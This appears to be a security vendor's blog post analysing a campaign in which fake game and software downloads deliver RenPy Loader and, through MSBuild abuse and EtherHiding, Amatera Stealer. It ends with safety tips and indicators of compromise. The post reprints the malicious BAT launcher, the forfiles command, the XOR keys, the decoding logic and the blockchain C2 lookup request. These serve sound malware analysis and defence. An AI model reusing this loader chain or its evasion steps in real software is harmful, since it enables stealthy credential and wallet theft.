Fake games spread stealers with RenPy Loader, MSBuild and EtherHiding

We have detected several campaigns using fake downloads of games, mods, cracks, and software to spread RenPy Loader. Once installed, the loader starts a complex, multi-stage infection chain that abuses MSBuild and the EtherHiding technique before ultimately delivering Amatera Stealer.

Amatera is an infostealer—a type of malware designed to steal sensitive information from an infected device. It can target passwords and other data stored in browsers, cryptocurrency wallets, browser extensions, messaging apps, and local files. Stolen credentials and session data may also allow attackers to access the victim’s online accounts.

The victim may see what appears to be a normal game or software installer while the malware runs silently in the background.

RenPy Loader, also known as RenEngine Loader, is particularly interesting because it abuses Ren’Py, a legitimate engine used to create visual novels, story-driven games, and interactive fiction. By hiding malicious code inside software associated with gaming, attackers can make their downloads appear more believable to people looking for games, mods, or cracked software.

We’ve previously seen attackers misuse legitimate development tools and emerging software frameworks, including Bun and Deno, to distribute malware. RenPy Loader follows the same pattern: Attackers abuse legitimate technology to disguise malicious activity, complicate the infection chain, and make detection more difficult.

RenPy Loader has also been observed delivering other malware, including HijackLoader and Lumma Stealer, showing that the final payload can vary between campaigns.

In this blog, we analyze an infection chain in which Ren’Py decrypts a ZIP archive containing a BAT file and several MSBuild project files. These files load a trojanized .NET component, which then decodes another malicious component.

That malicious component uses a technique called EtherHiding to locate its command-and-control (C2) server. Instead of storing the C2 address directly inside the malware, the attackers hide it in data stored on a public blockchain. The malware then downloads the next stages of the attack from that server, making the attackers’ infrastructure more difficult to identify and disrupt.

Finally, we examine the additional payloads that ultimately decrypt and execute Amatera Stealer.

Fake downloads infect your device

The infection begins when someone downloads a supposed game, mod, crack, or piece of software. We found malicious files distributed through:

• Fake download websites
• itch.io pages
• File-sharing services such as Wormhole, GoFile, Google Drive, and MEGA

Here are some of the detected pages that start the infection chain:

In several cases, clicking a download link redirected the user to another fake download website. These pages used different designs and invented service names, helping the campaigns appear less repetitive and making the malicious infrastructure harder to recognize.

Below are examples of fake download pages used to distribute the malicious archive:

The user downloads an archive containing a file named Setup.exe. Opening this file starts the infection chain.

The victim sees a loading or installation screen, but malicious code is running in the background.

How to stay safe

A few precautions can reduce the risk of downloading malicious games or software:

• Download games and software from official websites, trusted app stores, or established distribution platforms.
• Treat cracked software, unofficial mods, and free versions of paid games with caution.
• Be wary when a download link redirects you through several unfamiliar websites or file-sharing services.
• Check the contents of downloaded archives before opening executable files such as Setup.exe.
• Look for unusual filenames, unrelated images or text files, and content that does not match what you intended to download.
• Use real-time anti-malware software such as Malwarebytes.
• Keep your operating system, browser, and security software up to date.

The people behind these campaigns continually create new websites and change their download pages. A professional-looking installer or familiar file-sharing service does not guarantee that a download is safe.

Technical analysis of RenPy loader

Ren’Py is a free, open-source engine for creating visual novels, story-driven games, and interactive fiction. Ren’Py allows the integration of Python scripts, which attackers abuse to insert malicious code.

In this case, we found malicious code in the following files and paths:

The first-stage loader extracted from libwin32.rpa performs the following operations:

• Reads the config data/.GEg and decrypts it using Base64 decoding and XOR with the key 81034149cd6f48c8821340204f92766e. This config contains the password used to extract the ZIP, along with other configuration data used by the loader.
• Calls sys_config.is_sandboxed() and exits if a sandbox is detected.
• XOR-decrypts data/j3lpTcg7kBRN.E3 using the key A50YyY1 to obtain the ZIP.
• Extracts the ZIP contents to a random folder under %TEMP%/tmp-{5 digits}-{12 characters} and writes a :Zone.Identifier alternate data stream (ADS) with ZoneId=0 to remove the Mark of the Web and bypass SmartScreen. It also inserts a random REM string into the extracted BAT file.
• Launches the payload using forfiles.exe.
• Sends the machine’s MAC address and campaign ID to a tracking website.

In this case, the extracted BAT file was executed using the following command:

forfiles.exe /p C:Users{USER}AppDataLocalTemptmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat"

Contents of the BAT file:

@echo off
setlocal DisableDelayedExpansion
set "_bp=%~f0"
set "_rl=0"
if /i "%~1"=="/launched" set "_rl=1"
if /i "%~2"=="/launched" set "_rl=1"
if /i "%~3"=="/launched" set "_rl=1"
if /i "%~4"=="/launched" set "_rl=1"
if /i "%~5"=="/launched" set "_rl=1"
if /i "%~6"=="/launched" set "_rl=1"
if /i "%~7"=="/launched" set "_rl=1"
if /i "%~8"=="/launched" set "_rl=1"
if /i "%~9"=="/launched" set "_rl=1"
if "%_rl%"=="1" goto :_go
set "_ch=%SystemRoot%System32conhost.exe"
if exist "%SystemRoot%Sysnativeconhost.exe" set "_ch=%SystemRoot%Sysnativeconhost.exe"
where conhost.exe >nul 2>&1
if %errorlevel% equ 0 (
  endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched
) else (
  endlocal & cmd.exe /c "%_bp%" /launched
)
exit /b 0
:_go
endlocal
setlocal EnableExtensions
set MSBUILDENABLEALLPROPERTYFUNCTIONS=1
set "_czzf=%~dp0Nancy.csproj"
set "_pb=%WINDIR%Microsoft.NETFrameworkv4.0.30319MSBuild.exe"
REM b64c5053-f19f-4c80-8ac5-e1e3f55b1c1c
if not exist "%_pb%" set "_pb=%WINDIR%Microsoft.NETFramework64v4.0.30319MSBuild.exe"
if not exist "%_pb%" (
  exit /b 9
)
"%_pb%" "%~dp0Nancy.csproj" /nologo /v:q >nul 2>&1
endlocal

The executed BAT file performs the following operations:

• Relaunches itself in a hidden or headless console:

"C:WINDOWSSystem32conhost.exe" --headless cmd.exe /c

• Enables MSBuild property functions, allowing additional methods such as AppDomain.CurrentDomain.Load to be executed:

MSBUILDENABLEALLPROPERTYFUNCTIONS=1

• Executes MSBuild.exe with Nancy.csproj as its project file. During project evaluation, a malicious MSBuild property function hex-decodes and reflectively loads the next DLL stage.

The trojanized Nancy DLL and custom bytecode

Nancy.csproj imports the three extracted files Nancy.csproj.user, Internal.props, and Nancy.Compile.targets. The malicious DLL is split across three values stored in these files.

Nancy.Compile.targets concatenates the three values to hex-decode the DLL and execute the DefaultEvaluator5 method using AppDomain.CurrentDomain.Load.CreateInstance.

The interesting part is that Nancy.csproj serves two purposes: It is the MSBuild project used to execute the first-stage loader, and it also contains the next stage decoded by the loader.

The DLL is a trojanized version of the Nancy .NET library and is an obfuscated .NET loader with malicious code implemented in the DefaultEvaluator5 class. Some of the DLL’s functionality is implemented in custom bytecode executed by this main method.

The DLL performs the following operations:

• Decrypts strings from resources using multi-key XOR decryption.
• Resolves APIs using API hashing and GetDelegateForFunctionPointer.
• Changes network settings, including disabling TLS certificate validation and setting the default system proxy.
• Performs anti-forensics operations.
• Reads the _czzf environment variable, which points to the previous Nancy.csproj file, then decodes and executes it.

The main DefaultEvaluator5 method retrieves strings and interprets the bytecode contained in the following resources:

• Nancy.Runtime.mvlorimu: Contains the custom bytecode. The bytecode is interpreted by _pv and _sro. It implements 23 opcodes used to decrypt other strings and load the next-stage DLL.
• Nancy.Data.tcnlhxw and Nancy.Resources.kxxodp: Contain the encrypted strings and other data used for decryption, including keys, lengths, indexes, and the S-box.

The strings are decrypted using the following algorithm:

out[j] = data[dataOff+j] ^ key1[j%b] ^ sbox[(j*m1+seed)&0xFF] ^ key2[((j+m3*m2)%b2+b2)%b2]

The next DLL stage, GollopDevest, is decoded from the same Nancy.csproj file using the following logic and loaded with AppDomain.Load:

for i, k in enumerate(marker_int):
    if k < 256:
        payload[i] = k
    else:
        payload[i] = marker_int[k-256]

EtherHiding and Amatera Stealer

The next extracted stage is a DLL called GollopDevest.dll, a .NET downloader that uses the EtherHiding technique to obtain its command-and-control (C2) server and download the next stage.

The encrypted C2 domain is obtained using an Ethereum JSON-RPC eth_call request to bsc-dataseed.binance.org:

{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x328a1fadff154290f0ce1389a4e633698cdfdaa7","data":"0x06fdde03"},"latest"],"id":1783436775}

This EtherHiding downloader is likely part of a malware-as-a-service (MaaS) operation, as we have detected it being distributed in other campaigns, including ClickFix campaigns.

Three additional payloads are then downloaded: two .NET DLLs called PavinWide (an anti-analysis DLL) and GollopDevest (a loader DLL), and a C++ DLL called LanoseThrip, which ultimately decrypts and loads Amatera Stealer.

In this case, these payloads were downloaded from:

• /assets/ExponeAboard.json
• /assets/MailersKogasin.json
• /assets/LanoseThrip.json

The .NET DLLs are heavily obfuscated using control flow flattening, indirect calls through calli/ldftn, string encryption with several algorithms, junk code, dead code, and fake strings such as URL paths.

The analysis of these DLLs is still ongoing and will be explored in more detail in the next blog posts.

Indicators of Compromise (IOCs)

Domains

• downpro[.]net – Fake download website
• macisofile[.]sbs – Fake download website
• visitmama[.]blog – Fake download website
• visitmama[.]guru – Fake download website
• getgamerfree[.]com – Fake download website
• fullgames[.]digital – Fake download website
• flingbase[.]net – Fake download website
• citronemu[.]com – Fake download website
• filemodo[.]xyz – Distribution infrastructure
• storage06x[.]cfd – Distribution infrastructure
• p03sil[.]cyou – Distribution infrastructure
• wimsedas[.]xyz – Distribution infrastructure
• againstmor[.]store – Distribution infrastructure
• host03q[.]cfd – Distribution infrastructure
• cloud01y[.]cfd – Distribution infrastructure
• storage11x[.]cfd – Distribution infrastructure
• storage04x[.]cfd – Distribution infrastructure
• host82p[.]cfd – Distribution infrastructure
• cloud05y[.]cfd – Distribution infrastructure
• analyticstrack-pzh[.]click – Tracking website
• login.orbitalframework[.]cc – Amatera Stealer C2

IP addresses

• 144.124.251[.]171 – Used to obtain additional payloads
• 195.63.140[.]33 – Used to obtain additional payloads
• 78.40.196[.]252 – Used to obtain additional payloads

File hashes (MD5)

• 29203ca123d51b1b33505a0813d360df – First-stage loader (Trojanized DLL)
• 810F257542018BE0FC62AF542D13D012 – GollopDevest DLL (Downloader DLL)
• 681DB529E402467A4B0567C82A350FC0 – PavinWride DLL (Anti-analysis DLL)
• 2E116632248A7E1F8AA6BCA92D9C1C90 – GollopDevest DLL (Loader DLL)
• F8453EFE408CE25B9484F872797E3D63 – Final payload

“One of the best cybersecurity suites on the planet.” 

According to CNET. Read their review →